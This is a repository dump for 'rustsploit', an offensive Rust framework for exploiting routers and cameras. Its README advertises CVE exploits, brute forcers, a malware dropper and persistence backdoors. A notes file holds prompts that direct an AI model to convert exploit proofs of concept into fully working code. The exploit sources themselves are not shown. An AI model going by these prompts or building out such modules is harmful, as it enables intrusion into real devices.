├── .github └── workflows │ └── rust.yml ├── Cargo.toml ├── LICENSE ├── README.md ├── build.rs ├── docs └── readme.md ├── extra.txt ├── lists ├── readme.md ├── rtsp-paths.txt └── rtsphead.txt ├── preview.png └── src ├── cli.rs ├── commands ├── creds.rs ├── creds_gen.rs ├── exploit.rs ├── exploit_gen.rs ├── mod.rs ├── scanner.rs └── scanner_gen.rs ├── main.rs ├── modules ├── creds │ ├── camera │ │ ├── acti │ │ │ ├── acti_camera_default.rs │ │ │ └── mod.rs │ │ └── mod.rs │ ├── generic │ │ ├── enablebruteforce.rs │ │ ├── ftp_anonymous.rs │ │ ├── ftp_bruteforce.rs │ │ ├── mod.rs │ │ ├── pop3_bruteforce.rs │ │ ├── rdp_bruteforce.rs │ │ ├── rtsp_bruteforce_advanced.rs │ │ ├── sample_cred_check.rs │ │ ├── smtp_bruteforce.rs │ │ ├── ssh_bruteforce.rs │ │ └── telnet_bruteforce.rs │ └── mod.rs ├── exploits │ ├── abus │ │ ├── abussecurity_camera_cve202326609variant1.rs │ │ ├── abussecurity_camera_cve202326609variant2.rs │ │ └── mod.rs │ ├── acti │ │ ├── acm_5611_rce.rs │ │ └── mod.rs │ ├── apache_tomcat │ │ ├── catkiller_cve_2025_31650.rs │ │ ├── cve_2025_24813_apache_tomcat_rce.rs │ │ └── mod.rs │ ├── avtech │ │ ├── cve_2024_7029_avtech_camera.rs │ │ └── mod.rs │ ├── ftp │ │ ├── mod.rs │ │ └── pachev_ftp_path_traversal_1_0.rs │ ├── generic │ │ ├── heartbleed.rs │ │ └── mod.rs │ ├── ivanti │ │ ├── ivanti_connect_secure_stack_based_buffer_overflow.rs │ │ └── mod.rs │ ├── mod.rs │ ├── palto_alto │ │ ├── mod.rs │ │ └── panos_authbypass_cve_2025_0108.rs │ ├── payloadgens │ │ ├── batgen.rs │ │ ├── mod.rs │ │ └── narutto_dropper.rs │ ├── sample_exploit.rs │ ├── spotube │ │ ├── mod.rs │ │ └── spotube.rs │ ├── ssh │ │ ├── mod.rs │ │ └── opensshserver_9_8p1race_condition.rs │ ├── tplink │ │ ├── mod.rs │ │ ├── tp_link_vn020_dos.rs │ │ └── tplink_wr740n_dos.rs │ ├── uniview │ │ ├── mod.rs │ │ └── uniview_nvr_pwd_disclosure.rs │ ├── zabbix │ │ ├── mod.rs │ │ └── zabbix_7_0_0_sql_injection.rs │ └── zte │ │ ├── mod.rs │ │ └── zte_zxv10_h201l_rce_authenticationbypass.rs ├── mod.rs └── scanners │ ├── mod.rs │ ├── port_scanner.rs │ ├── sample_scanner.rs │ ├── ssdp_msearch.rs │ └── stalkroute_full_traceroute.rs ├── shell.rs └── utils.rs /.github/workflows/rust.yml: -------------------------------------------------------------------------------- 1 | name: Rust 2 | 3 | on: 4 | push: 5 | branches: [ "main" ] 6 | pull_request: 7 | branches: [ "main" ] 8 | 9 | env: 10 | CARGO_TERM_COLOR: always 11 | 12 | jobs: 13 | build: 14 | 15 | runs-on: Kali 16 | 17 | steps: 18 | - uses: actions/checkout@v4 19 | - name: Build 20 | run: cargo build --verbose 21 | - name: Run tests 22 | run: cargo test --verbose 23 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rustsploit" 3 | version = "0.1.0" 4 | edition = "2021" 5 | build = "build.rs" 6 | 7 | [dependencies] 8 | # For HTTP requests 9 | reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] } 10 | 11 | #proxy manager 12 | rand = "0.9.0" 13 | 14 | # For CLI parsing 15 | clap = { version = "4.5.35", features = ["derive"] } 16 | 17 | # Async runtime for networking 18 | tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] } 19 | 20 | # Easier error handling 21 | anyhow = "1.0.97" 22 | 23 | #teminal color 24 | colored = "3.0.0" 25 | rustyline = "15.0.0" 26 | 27 | #ftp brute force module 28 | async_ftp = "6.0.0" 29 | tokio-socks = "0.5.2" 30 | rustls = "0.23.26" 31 | webpki-roots = "0.26.8" 32 | suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] } 33 | native-tls = "0.2.14" 34 | sysinfo = { version = "0.34.2", features = ["multithread"] } 35 | 36 | #telnet 37 | threadpool = "1.8.1" 38 | crossbeam-channel = "0.5.15" 39 | telnet = "0.2.3" 40 | 41 | walkdir = "2.5.0" 42 | 43 | #ssh 44 | ssh2 = "0.9.5" 45 | 46 | # rstp brute forcing 47 | base64 = "0.22.1" 48 | 49 | # RDP brute forcing module 50 | rdp = "0.12.8" 51 | 52 | # ssdp moudle scanner 53 | regex = "1.11.1" 54 | 55 | #camera uniview exploit 56 | quick-xml = "0.37.4" 57 | 58 | #ABUS TVIP Dropbear 59 | md5 = "0.7.0" 60 | ftp = "3.0.1" 61 | 62 | #ssh rce race condition 63 | libc = "0.2.172" 64 | futures = "0.3.31" 65 | 66 | #spotube exploit 67 | serde_json = "1.0.140" 68 | futures-util = "0.3.31" 69 | tokio-tungstenite = "0.26.2" 70 | 71 | #zte rce 72 | # Add these to [dependencies] 73 | aes = "0.8.3" 74 | cipher = "0.4.4" 75 | flate2 = "1.0.30" 76 | 77 | #avanti 78 | url = "2.5.4" 79 | semver = "1.0.26" 80 | 81 | #stalk route full traceroute 82 | pnet_packet = "0.34" # Or the latest compatible version 83 | socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version 84 | 85 | [build-dependencies] 86 | regex = "1.11.1" # required for use in build.rs 87 | 88 | [[bin]] 89 | name = "rustsploit" 90 | path = "src/main.rs" 91 | 92 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 S.B 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Rustsploit 🛠️ 2 | 3 | A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers. 4 | 5 | ![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png) 6 | 7 | 📚 **Developer Documentation**: 8 | → [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) 9 | 10 | --- 11 | ### Goals & To Do lists 12 | 13 | Convert exploits and add modules 14 | 15 | # completed 16 | ``` 17 | 18 | added stalkroute a traceroute with firewall evasion requires root 19 | added malware dropper narruto dropper 20 | added refactored and fixed and improve alot of modules 21 | added added new version of payloadgen 22 | added smtp bruteforcer 23 | added pop3 bruteforcer 24 | added zte zte_zxv10_h201l_rce_authenticationbypass 25 | added ivanti ivanti_connect_secure_stack_based_buffer_overflow 26 | added apache_tomcat cve_2025_24813_apache_tomcat_rce 27 | added apache_tomcat catkiller_cve_2025_31650 28 | added palto_alto CVE-2025-0108. auth bypass 29 | added acm_5611_rce 30 | added zabbix_7_0_0_sql_injection 31 | added cve_2024_7029_avtech_camera 32 | added pachev_ftp_path_traversal_1_0 33 | added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested 34 | added ftps support 35 | added ipv6 support to ftp anon and brute 36 | added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan 37 | added exploit openssh server race condition 9.8.p1 |Server Destruction fork | 38 | bomb Persistence create SSH user | Remote Root Shell 39 | 40 | added spotube exploit zero day exploit as of 24 april reported to spotube 41 | added exploit tplink_wr740n Buffer Overflow 'DOS' 42 | added exploit tp_link_vn020 Denial Of Service (DOS) 43 | added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account 44 | added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access 45 | added exploit uniview_nvr_pwd_disclosure password disclore 46 | updated docs again and readme 47 | rework command system to automaticly detect new modules 48 | added uniview_nvr_pwd_disclosure 49 | added ssdp_msearch 50 | added hearbleed info leak from server saved to a bin file 51 | added port scanner 52 | added find command 53 | updated docs 54 | created docs 55 | added wordlist for camera paths 56 | added acti camera module 57 | created bat payload generator for malware 58 | added proxy support https/http socks4/socks5 59 | telnet brute forcing module 60 | ssh brute forcing module 61 | ftp anonymous login module 62 | ftp brute forcing module 63 | added rtsp_bruteforce module 64 | dynamic modules listing and colored listing 65 | ``` 66 | 67 | --- 68 | ``` 69 | ## 🚀 Building & Running 70 | ## 📦🛠️ requirements 71 | ` 72 | sudo apt update 73 | sudo apt install freerdp2-x11 74 | 75 | for rdp bruteforce modudle 76 | 77 | 78 | ``` 79 | ``` 80 | ### 📦 Clone the Repository 81 | 82 | ``` 83 | git clone https://github.com/s-b-repo/rustsploit.git 84 | cd rustsploit 85 | ``` 86 | 87 | ### 🛠️ Build the Project 88 | 89 | ``` 90 | cargo build 91 | ``` 92 | 93 | To build and run: 94 | ``` 95 | cargo run 96 | ``` 97 | 98 | To install: 99 | ``` 100 | cargo install 101 | ``` 102 | 103 | --- 104 | 105 | ### 🖥️ Run in Interactive Shell Mode 106 | 107 | Launch the interactive RSF shell: 108 | 109 | ``` 110 | cargo run 111 | ``` 112 | 113 | Once inside the shell: 114 | 115 | ```text 116 | rsf> help 117 | rsf> modules 118 | rsf> show_proxies 119 | rsf> proxy_on / proxy_off 120 | rsf> proxy_load proxies.txt 121 | rsf> find 122 | rsf> use exploits/heartbleed 123 | rsf> set target 192.168.1.1 124 | rsf> run 125 | ``` 126 | 127 | 🌀 Supports retrying proxies until one works (if proxy_on is enabled). 128 | 129 | --- 130 | 131 | ### 🔧 Run in CLI Mode 132 | 133 | #### ▶ Exploit 134 | ``` 135 | cargo run -- --command exploit --module heartbleed --target 192.168.1.1 136 | ``` 137 | 138 | #### 🧪 Scanner 139 | ``` 140 | cargo run -- --command scanner --module port_scanner --target 192.168.1.1 141 | ``` 142 | 143 | #### 🔐 Credentials 144 | ``` 145 | cargo run -- --command creds --module ssh_brute --target 192.168.1.1 146 | ``` 147 | 148 | --- 149 | 150 | ## 🌐 Proxy Retry Logic (Shell Mode) 151 | 152 | - If proxies are loaded and `proxy_on` is active: 153 | - Random proxy is used from list 154 | - On failure, tries another until successful 155 | - If all fail, it runs once **without proxy** 156 | 157 | --- 158 | 159 | ## 📂 Module System 160 | 161 | Modules are automatically detected using `build.rs` and registered as: 162 | - Short: `port_scanner` 163 | - Full: `scanners/port_scanner` 164 | 165 | Each module must define: 166 | ``` 167 | pub async fn run(target: &str) -> Result<()> 168 | ``` 169 | 170 | Optional: 171 | ``` 172 | pub async fn run_interactive(target: &str) -> Result<()> 173 | ``` 174 | 175 | --- 176 | 177 | ## 🧼 Shell State 178 | 179 | The shell keeps: 180 | - Current module 181 | - Current target 182 | - Proxy list + state 183 | 184 | No session state is saved — everything resets on restart. 185 | 186 | --- 187 | 188 | ## 💡 Want to Add a Module? 189 | 190 | See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) 191 | Includes: 192 | - ✅ How to write modules 193 | - 🧠 Auto-dispatch system explained 194 | - 📦 Module placement 195 | - 🌐 Proxy logic details 196 | - 🔍 Scanner vs Exploit vs Credential paths 197 | 198 | --- 199 | 200 | ## 👥 Contributors 201 | 202 | - **Main Developer**: me. 203 | - **Language**: 100% Rust. 204 | - **Inspired by**: RouterSploit, Metasploit, pwntools 205 | 206 | ## 👥 Credits 207 | 208 | - **wordlists*: seclists & me 209 | 210 | 211 | --- 212 | -------------------------------------------------------------------------------- /build.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | use std::fs::{self, File}; 3 | use std::io::{Read, Write}; 4 | use std::path::Path; 5 | use regex::Regex; 6 | 7 | fn main() { 8 | println!("cargo:rerun-if-changed=src/modules/exploits"); 9 | println!("cargo:rerun-if-changed=src/modules/creds"); 10 | println!("cargo:rerun-if-changed=src/modules/scanners"); 11 | 12 | generate_dispatch( 13 | "src/modules/exploits", 14 | "exploit_dispatch.rs", 15 | "crate::modules::exploits" 16 | ); 17 | generate_dispatch( 18 | "src/modules/creds", 19 | "creds_dispatch.rs", 20 | "crate::modules::creds" 21 | ); 22 | generate_dispatch( 23 | "src/modules/scanners", 24 | "scanner_dispatch.rs", 25 | "crate::modules::scanners" 26 | ); 27 | } 28 | 29 | fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) { 30 | let out_dir = env::var("OUT_DIR").unwrap(); 31 | let dest_path = Path::new(&out_dir).join(out_file); 32 | let mut file = File::create(&dest_path).unwrap(); 33 | 34 | let root_path = Path::new(root); 35 | let mut mappings = Vec::new(); 36 | visit_dirs(root_path, "".to_string(), &mut mappings).unwrap(); 37 | 38 | writeln!( 39 | file, 40 | "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{" 41 | ).unwrap(); 42 | 43 | for (key, mod_path) in &mappings { 44 | writeln!( 45 | file, 46 | r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#, 47 | k = key, 48 | m = mod_path.replace("/", "::"), 49 | p = mod_prefix 50 | ).unwrap(); 51 | } 52 | 53 | writeln!( 54 | file, 55 | r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"# 56 | ).unwrap(); 57 | 58 | writeln!(file, " }}\n Ok(())\n}}").unwrap(); 59 | } 60 | 61 | fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> { 62 | let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap(); 63 | 64 | if dir.is_dir() { 65 | for entry in fs::read_dir(dir)? { 66 | let entry = entry?; 67 | let path = entry.path(); 68 | 69 | if path.is_dir() { 70 | let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy()); 71 | visit_dirs(&path, sub_prefix, mappings)?; 72 | } else if path.extension().map_or(false, |e| e == "rs") { 73 | let file_name = path.file_stem().unwrap().to_string_lossy().to_string(); 74 | if file_name == "mod" { 75 | continue; 76 | } 77 | 78 | let mod_path = format!("{}/{}", prefix, file_name) 79 | .trim_start_matches('/') 80 | .to_string(); 81 | let key = mod_path.clone(); 82 | 83 | let mut source = String::new(); 84 | fs::File::open(&path)?.read_to_string(&mut source)?; 85 | 86 | if sig_re.is_match(&source) { 87 | mappings.push((key.clone(), mod_path)); 88 | println!("✅ Registered module: {}/{}", prefix, file_name); 89 | } else { 90 | println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display()); 91 | } 92 | } 93 | } 94 | } 95 | Ok(()) 96 | } 97 | -------------------------------------------------------------------------------- /docs/readme.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # 🛠️ Developer Documentation: RouterSploit-Rust Framework 4 | 5 | > This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit. 6 | 7 | --- 8 | 9 | ## 🧠 Framework Philosophy 10 | 11 | RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via: 12 | 13 | - 📟 CLI (`cargo run -- --command ...`) 14 | - 🖥️ Shell (`rsf>` prompt) 15 | 16 | Goals: 17 | - 🔒 Safe-by-default 18 | - 📦 Cleanly separated modules 19 | - ⚡ Async concurrency 20 | - 🌐 Proxy-aware execution 21 | 22 | --- 23 | 24 | ## 🗂️ Directory Structure 25 | 26 | ``` 27 | routersploit_rust/ 28 | ├── Cargo.toml 29 | ├── build.rs 30 | └── src/ 31 | ├── main.rs # Entrypoint 32 | ├── cli.rs # CLI argument parser 33 | ├── shell.rs # Interactive shell logic 34 | ├── commands/ # Module dispatch logic 35 | │ ├── mod.rs 36 | │ ├── scanner.rs 37 | │ ├── scanner_gen.rs 38 | │ ├── exploit.rs 39 | │ ├── exploit_gen.rs 40 | │ ├── creds_gen.rs 41 | │ └── creds.rs 42 | ├── modules/ # All attack modules 43 | │ ├── mod.rs 44 | │ ├── exploits/ 45 | │ ├── scanners/ 46 | │ └── creds/ 47 | └── utils.rs # Common utilities 48 | ``` 49 | 50 | --- 51 | 52 | ## 🔗 Module System 53 | 54 | Each module is a Rust file with a required `run()` entry point: 55 | 56 | ```rust 57 | pub async fn run(target: &str) -> anyhow::Result<()> 58 | ``` 59 | 60 | ### Optional: 61 | 62 | ```rust 63 | pub async fn run_interactive(target: &str) -> anyhow::Result<()> { 64 | // internal prompts or logic 65 | } 66 | ``` 67 | 68 | ### Placement: 69 | 70 | - Exploits: `src/modules/exploits/` 71 | - Scanners: `src/modules/scanners/` 72 | - Credentials: `src/modules/creds/` 73 | 74 | Subfolders are supported: 75 | - `exploits/routers/tplink.rs` → `tplink` or `routers/tplink` 76 | - `scanners/http/title.rs` → `title` or `http/title` 77 | 78 | --- 79 | 80 | ## ✅ Adding a New Module 81 | 82 | ### 1. Create File 83 | 84 | ```rust 85 | // src/modules/scanners/ftp_weak_login.rs 86 | use anyhow::Result; 87 | 88 | pub async fn run(target: &str) -> Result<()> { 89 | run_interactive(target).await 90 | } 91 | 92 | pub async fn run_interactive(target: &str) -> Result<()> { 93 | println!("[*] Checking FTP on {}", target); 94 | Ok(()) 95 | } 96 | ``` 97 | 98 | ### 2. Register in `mod.rs` 99 | 100 | ```rust 101 | pub mod ftp_weak_login; 102 | ``` 103 | 104 | --- 105 | 106 | ## 🧠 Auto-Dispatch System 107 | 108 | The CLI/shell can call: 109 | ```bash 110 | cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1 111 | ``` 112 | 113 | Or in the shell: 114 | ``` 115 | rsf> use scanners/ftp_weak_login 116 | rsf> set target 192.168.1.1 117 | rsf> run 118 | ``` 119 | 120 | Behind the scenes: 121 | 122 | 1. `build.rs` scans `src/modules/` recursively 123 | 2. Detects files with `pub async fn run(...)` 124 | 3. Generates: 125 | - `exploit_dispatch.rs` 126 | - `scanner_dispatch.rs` 127 | - `creds_dispatch.rs` 128 | 4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`) 129 | 130 | --- 131 | 132 | ## ❌ What Not To Do 133 | 134 | - ❌ No `run()` → won’t dispatch 135 | - ❌ Don’t name multiple functions `run()` in one file 136 | - ❌ Don’t use `mod.rs` as a module — ignored by generator 137 | - ❌ Don’t forget to update `mod.rs` when adding modules 138 | 139 | --- 140 | 141 | ## ⚙️ CLI Usage 142 | 143 | ```bash 144 | cargo run -- --command exploit --module my_exploit --target 10.0.0.1 145 | ``` 146 | 147 | ### Args: 148 | 149 | - `--command`: exploit | scanner | creds 150 | - `--module`: file name of module 151 | - `--target`: IP or host 152 | 153 | --- 154 | 155 | ## 🖥️ Shell Usage 156 | 157 | ```bash 158 | cargo run 159 | ``` 160 | 161 | Then: 162 | 163 | ``` 164 | rsf> help 165 | rsf> modules 166 | rsf> use scanners/port_scanner 167 | rsf> set target 192.168.0.1 168 | rsf> run 169 | ``` 170 | 171 | Maintains internal state: 172 | - `current_module` 173 | - `current_target` 174 | - `proxy_list` 175 | - `proxy_enabled` 176 | 177 | --- 178 | 179 | ## 🔁 Proxy Retry Logic (Shell Only) 180 | 181 | Proxy logic only applies in shell mode (`rsf>`). 182 | 183 | ### Flow: 184 | 185 | 1. User types `run` 186 | 2. Shell checks: 187 | - Module is selected? 188 | - Target is set? 189 | - Proxy enabled? 190 | 191 | --- 192 | 193 | ### Case 1: Proxy ON, Proxies LOADED 194 | 195 | - Create `HashSet` → `tried_proxies` 196 | - Loop: 197 | - Pick random untried proxy 198 | - Set `ALL_PROXY` using: 199 | ```rust 200 | env::set_var("ALL_PROXY", proxy); 201 | ``` 202 | - Call `commands::run_module(...)` 203 | - On success: stop 204 | - On error: mark proxy as failed, try another 205 | 206 | - If all proxies fail: 207 | - Clear proxy env: 208 | ```rust 209 | env::remove_var("ALL_PROXY"); 210 | ``` 211 | - Try once directly 212 | 213 | --- 214 | 215 | ### Case 2: Proxy ON, No Proxies Loaded 216 | 217 | - Show warning 218 | - Clear `ALL_PROXY` 219 | - Run once directly 220 | 221 | --- 222 | 223 | ### Case 3: Proxy OFF 224 | 225 | - Clear proxy vars 226 | - Run module once 227 | 228 | --- 229 | 230 | ### Summary Flow: 231 | 232 | ``` 233 | If proxy_enabled: 234 | while untried proxies: 235 | pick → set env → run → if fail → mark tried 236 | if none work → clear env → try direct 237 | else: 238 | clear env → try direct 239 | ``` 240 | 241 | --- 242 | 243 | ## 🧪 Module Execution Flow 244 | 245 | Whether via CLI or shell: 246 | 247 | 1. `commands::run_module(...)` 248 | 2. Determines type: `exploit`, `scanner`, or `cred` 249 | 3. Calls correct dispatcher 250 | 4. Dispatcher calls `run(target).await` 251 | 5. Output shown to user 252 | 253 | --- 254 | 255 | ## 🛑 Error Handling 256 | 257 | - All modules must return `anyhow::Result<()>` 258 | - Errors are caught and shown cleanly in CLI or shell 259 | 260 | --- 261 | 262 | ## ⚡ Async Features 263 | 264 | - Entire framework is powered by `tokio` 265 | - All I/O modules are `async` 266 | - Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency 267 | 268 | --- 269 | 270 | ## 📡 Making Requests 271 | 272 | Use `reqwest`: 273 | 274 | ```rust 275 | let resp = reqwest::get(&url).await?.text().await?; 276 | ``` 277 | 278 | Or with client: 279 | 280 | ```rust 281 | let client = reqwest::Client::new(); 282 | let resp = client.post(&url).json(&data).send().await?; 283 | ``` 284 | 285 | ✅ All requests respect `ALL_PROXY` 286 | 287 | --- 288 | 289 | ## 🧪 Example Use Cases 290 | 291 | ### CLI 292 | 293 | ```bash 294 | cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100 295 | ``` 296 | 297 | ### Shell 298 | 299 | ```bash 300 | rsf> use creds/ftp_weak_login 301 | rsf> set target 192.168.1.100 302 | rsf> run 303 | ``` 304 | 305 | --- 306 | 307 | ## 🧼 Shell Reset 308 | 309 | No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design). 310 | 311 | --- 312 | 313 | ## 🔐 Adapting CVEs 314 | 315 | To build a real-world exploit: 316 | - Convert PoC to async Rust logic 317 | - Validate by checking known response headers/content 318 | - Place it in the right folder and wire `run()` 319 | 320 | TCP/UDP logic: 321 | 322 | ```rust 323 | use tokio::net::{TcpStream, UdpSocket}; 324 | ``` 325 | 326 | --- 327 | 328 | ## 💡 Feature Roadmap 329 | 330 | add more exploits etc 331 | 332 | --- 333 | 334 | ## 👥 Contributors 335 | 336 | - **Main Developer**: me. 337 | - **Language**: 100% Rust. 338 | - **Inspired by**: RouterSploit, Metasploit, pwntools. 339 | 340 | 341 | Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown. 342 | -------------------------------------------------------------------------------- /extra.txt: -------------------------------------------------------------------------------- 1 | Required Signature 2 | 3 | The module must contain this exact public async function: 4 | 5 | pub async fn run(target: &str) -> anyhow::Result<()> 6 | 7 | Or any variant like: 8 | 9 | pub async fn run(_target: &str) -> anyhow::Result<()> 10 | 11 | Or even: 12 | 13 | pub async fn run(host: &str) -> anyhow::Result<()> 14 | 15 | 16 | Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure. 17 | 18 | 19 | Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework. 20 | 21 | ✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities. 22 | 23 | ✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point. 24 | 25 | All internal logic must be routed through this function. 26 | 27 | ✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic. 28 | 29 | ✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator). 30 | 31 | ✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code. 32 | 33 | ✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic. 34 | 35 | ✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage. 36 | 37 | ✅ If necessary, clean up variable scoping or imports, but never remove real features. 38 | 39 | ✅ keep all comments from the orginal but add two / before comments 40 | 41 | ✅ only use the poc and it must be a 1 to 1 convertion 42 | 43 | Here is the original module that needs to be refactored: 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | gemini 66 | 67 | You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references. 68 | 69 | Strict Requirements: 70 | 71 | The code must be 100% pure Rust, fully compatible with Linux operating systems. 72 | 73 | The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices. 74 | 75 | Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver. 76 | 77 | The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation. 78 | 79 | 80 | -------------------------------------------------------------------------------- /lists/readme.md: -------------------------------------------------------------------------------- 1 | just lists like word lists 2 | -------------------------------------------------------------------------------- /lists/rtsp-paths.txt: -------------------------------------------------------------------------------- 1 | 2 | 0 3 | 0video1 4 | 1 5 | 1.AMP 6 | 11:1main 7 | 1cif 8 | 1stream1 9 | 11 10 | 12 11 | 4 12 | CAM_ID.password.mp2 13 | CH001.sdp 14 | GetData.cgi 15 | H264 16 | HighResolutionVideo 17 | HighResolutionvideo 18 | Image.jpg 19 | LowResolutionVideo 20 | MJPEG.cgi 21 | MediaInputh264 22 | MediaInputh264stream_1 23 | MediaInputmpeg4 24 | ONVIFMediaInput 25 | ONVIFchannel1 26 | PSIAStreamingchannels0?videoCodecType=H.264 27 | PSIAStreamingchannels1 28 | PSIAStreamingchannels1?videoCodecType=MPEG4 29 | PSIAStreamingchannelsh264 30 | Possible 31 | ROHchannel11 32 | StreamingChannels1 33 | StreamingChannels101 34 | StreamingChannels102 35 | StreamingChannels103 36 | StreamingChannels2 37 | StreamingUnicastchannels101 38 | Streamingchannels101 39 | Video?Codec=MPEG4&Width=720&Height=576&Fps=30 40 | VideoInput1h2641 41 | access_code 42 | access_name_for_stream_1_to_5 43 | av0_0 44 | av0_1 45 | av2 46 | avn=2 47 | axis-mediamedia.amp 48 | axis-mediamedia.amp?videocodec=h264&resolution=640x480 49 | cam 50 | camrealmonitor 51 | camrealmonitor?channel=1&subtype=00 52 | camrealmonitor?channel=1&subtype=01 53 | camrealmonitor?channel=1&subtype=1 54 | cam0_0 55 | cam0_1 56 | cam1h264 57 | cam1h264multicast 58 | cam1mjpeg 59 | cam1mpeg4 60 | cam1onvif-h264 61 | camera.stm 62 | cgi-binviewervideo.jpg?resolution=640x480 63 | ch0 64 | ch0.h264 65 | ch001.sdp 66 | ch01.264 67 | ch0_0.h264 68 | ch0_unicast_firststream 69 | ch0_unicast_secondstream 70 | channel1 71 | dms.jpg 72 | dms?nowprofileid=2 73 | h264 74 | h264.sdp 75 | h264ch1sub 76 | h264media.amp 77 | h264Preview_01_main 78 | h264Preview_01_sub 79 | cam4mpeg4 80 | h264_vga.sdp 81 | image.jpg 82 | image.mpg 83 | imagejpeg.cgi 84 | imgmedia.sav 85 | imgvideo.asf 86 | imgvideo.sav 87 | ioImage1 88 | ipcam.sdp 89 | ipcamstream.cgi?nowprofileid=2 90 | ipcam_h264.sdp 91 | jpgimage.jpg?size=3 92 | live 93 | live.sdp 94 | liveav0 95 | livech0 96 | livech00_0 97 | livech00_1 98 | livech1 99 | livech2 100 | liveh264 101 | livempeg4 102 | live0.264 103 | live1.264 104 | live1.sdp 105 | live2.sdp 106 | live3.sdp 107 | live_h264.sdp 108 | live_mpeg4.sdp 109 | livestream 110 | livestream 111 | media 112 | media.amp 113 | mediamedia.amp 114 | mediavideo1 115 | mediavideo2 116 | mediavideo3 117 | medias1 118 | mjpeg.cgi 119 | mjpegmedia.smp 120 | mp4 121 | mpeg4 122 | mpeg41media.amp 123 | mpeg4media.amp 124 | mpeg4media.amp?resolution=640x480 125 | mpeg4media.smp 126 | mpeg4cif 127 | mpeg4unicast 128 | mpg4rtsp.amp 129 | multicaststream 130 | now.mp4 131 | nph-h264.cgi 132 | nphMpeg4g726-640x 133 | nphMpeg4g726-640x480 134 | nphMpeg4nil-320x240 135 | onvif-mediamedia.amp 136 | onviflive2 137 | onvif1 138 | onvif2 139 | play1.sdp 140 | play2.sdp 141 | profile 142 | recognizer 143 | rtpvideo1.sdp 144 | rtsp_tunnel 145 | rtsph264 146 | rtsph2641080p 147 | stream1 148 | stream2 149 | streamingmjpeg 150 | 